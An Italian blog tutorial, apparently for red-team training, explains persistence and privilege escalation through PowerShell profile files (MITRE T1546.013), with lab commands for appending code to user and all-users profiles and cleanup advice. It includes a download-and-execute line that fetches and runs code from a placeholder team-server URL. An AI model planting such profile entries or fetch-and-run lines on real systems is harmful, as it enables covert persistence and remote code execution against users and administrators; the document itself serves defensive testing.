Persistenza via Profilo PowerShell: PowerShell Profile (T1546.013)

Ogni volta che un utente apre una sessione PowerShell, l'interprete cerca e carica silenziosamente un file chiamato profile.ps1. Questo meccanismo, progettato per personalizzare l'ambiente di lavoro — alias, moduli preferiti, variabili d'ambiente — diventa un vettore di persistenza devastante nelle mani di un attaccante. La tecnica PowerShell Profile si colloca in due tattiche simultanee: Persistence (TA0003), perché il codice malevolo sopravvive a riavvii e cambio sessione, e Privilege Escalation (TA0004), perché se un amministratore di dominio apre PowerShell, il profilo compromesso esegue codice nel suo contesto elevato.

L'insidiosità risiede nella normalità dell'operazione: PowerShell carica il profilo come comportamento predefinito, senza alert nativi, senza prompt. Esistono sei percorsi di profilo — dal profilo utente-specifico della console al profilo All Users applicato a ogni host program — e ciascuno rappresenta un punto di injection. I dati MITRE documentano 1 gruppo APT che sfrutta questa tecnica, 3 mitigazioni specifiche e una strategia di detection basata sulla correlazione tra modifiche ai file profilo e avvii di sessione PowerShell. Nessun software o campagna distinta è catalogato separatamente, ma la semplicità della tecnica la rende accessibile a qualsiasi operatore con accesso in scrittura al filesystem.

La simulazione di questa tecnica in ambiente lab è estremamente diretta e non richiede tool esterni. L'obiettivo è dimostrare al cliente che una semplice riga aggiunta a un file di testo garantisce esecuzione persistente ad ogni sessione PowerShell.

Il primo passo è enumerare i profili esistenti. PowerShell espone la variabile automatica $PROFILE con diverse proprietà:

$PROFILE | Select-Object *

Questo comando restituisce i quattro percorsi standard: CurrentUserCurrentHost, CurrentUserAllHosts, AllUsersCurrentHost e AllUsersAllHosts. In un engagement, il profilo più interessante per la privilege escalation è l'ultimo, perché viene caricato da qualsiasi utente — inclusi gli account amministrativi. Il percorso tipico è C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1.

Per simulare la persistenza utente, basta appendere una riga al profilo corrente:

Add-Content -Path $PROFILE.CurrentUserAllHosts -Value 'Start-Process calc.exe'

Se il file non esiste ancora, va creato prima con la directory padre:

New-Item -Path $PROFILE.CurrentUserAllHosts -ItemType File -Force

Per simulare la privilege escalation, è necessario operare sul profilo AllUsers. Da una sessione elevata:

Add-Content -Path $PROFILE.AllUsersAllHosts -Value 'whoami | Out-File C:\temp\context.txt'

Quando un domain admin aprirà PowerShell, il file context.txt confermerà l'esecuzione nel contesto elevato. In uno scenario red team più realistico, il payload potrebbe caricare un modulo offensivo o stabilire una reverse shell. Un esempio con callback HTTP:

Add-Content -Path $PROFILE.CurrentUserAllHosts -Value 'IEX (New-Object Net.WebClient).DownloadString("<url-teamserver>")'

Per la fase di cleanup, il red teamer deve documentare esattamente quale profilo è stato modificato e ripristinare il contenuto originale (o rimuovere il file se prima non esisteva). Lo strumento Invoke-AtomicRedTeam (open source) include il test atomico T1546.013 che automatizza creazione, verifica e cleanup del profilo. Un aspetto cruciale da verificare durante il test: quante sessioni PowerShell automatiche esistono nell'ambiente? Script schedulati, runbook di automazione, sessioni di remoting — ognuna caricherà il profilo a meno che non usi il flag -NoProfile.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.